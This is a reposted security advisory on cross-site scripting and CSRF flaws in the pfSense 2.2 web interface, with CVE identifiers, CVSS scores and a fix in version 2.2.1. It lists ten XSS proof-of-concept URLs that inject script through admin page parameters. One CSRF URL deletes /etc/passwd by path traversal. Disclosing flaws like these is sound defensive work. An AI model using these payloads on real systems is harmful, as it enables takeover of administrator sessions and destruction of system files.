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pfSense 2.2 - Multiple Vulnerabilities
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Product: pfSense Vendor: Electric Sheep Fencing LLC Vulnerable Version(s): 2.2 and probably prior Tested Version: 2.2 Advisory Publication: March 4, 2015 [without technical details] Vendor Notification: March 4, 2015 Vendor Patch: March 5, 2015 Public Disclosure: March 25, 2015 Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352] CVE References: CVE-2015-2294, CVE-2015-2295 Risk Level: Medium CVSSv2 Base Scores: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N), 5.4 (AV:N/AC:H/Au:N/C:N/I:N/A:C) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in web interface of pfSense, which can be exploited to perform Cross-Site Scripting (XSS) attacks against administrator of pfSense and delete arbitrary files via CSRF (Cross-Site Request Forgery) attacks. Successful exploitation of the vulnerabilities may allow an attacker to delete arbitrary files on the system with root privileges, steal administrator’s cookies and gain complete control over the web application and even the entire system, as pfSense is running with root privileges and allows OS command execution via its web interface. 1) Multiple XSS vulnerabilities in pfSense: CVE-2015-2294 1.1 Input passed via the "zone" HTTP GET parameter to "/status_captiveportal.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. PoC code below uses JS "alert()" function to display "ImmuniWeb" popup: https://[host]/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E 1.2 Input passed via the "if" and "dragtable" HTTP GET parameters to "/firewall_rules.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. Below are two PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup: https://[host]/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E 1.3 Input passed via the "queue" HTTP GET parameter to "/firewall_shaper.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. PoC code below uses JS "alert()" function to display "ImmuniWeb" popup: https://[host]/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E 1.4 Input passed via the "id" HTTP GET parameter to "/services_unbound_acls.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. PoC code below uses JS "alert()" function to display "ImmuniWeb" popup: https://[host]/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E 1.5 Input passed via the "filterlogentries_time", "filterlogentries_sourceipaddress", "filterlogentries_sourceport", "filterlogentries_destinationipaddress", "filterlogentries_interfaces", "filterlogentries_destinationport", "filterlogentries_protocolflags" and "filterlogentries_qty" HTTP GET parameters to "/diag_logs_filter.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. Below are eight PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup: https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E 2) Cross-Site Request Forgery (CSRF) in pfSense: CVE-2015-2295 2.1 The vulnerability exists due to insufficient validation of the HTTP request origin in "/system_firmware_restorefullbackup.php" script. A remote attacker can trick a log-in administrator to visit a malicious page with CSRF exploit and delete arbitrary files on the target system with root privileges. The following PoC code deletes file "/etc/passwd": https://[host]/system_firmware_restorefullbackup.php?deletefile=../etc/passwd ----------------------------------------------------------------------------------------------- Solution: Update to pfSense 2.2.1 More Information: https://blog.pfsense.org/?p=1661 # 0day.today [2024-11-14] #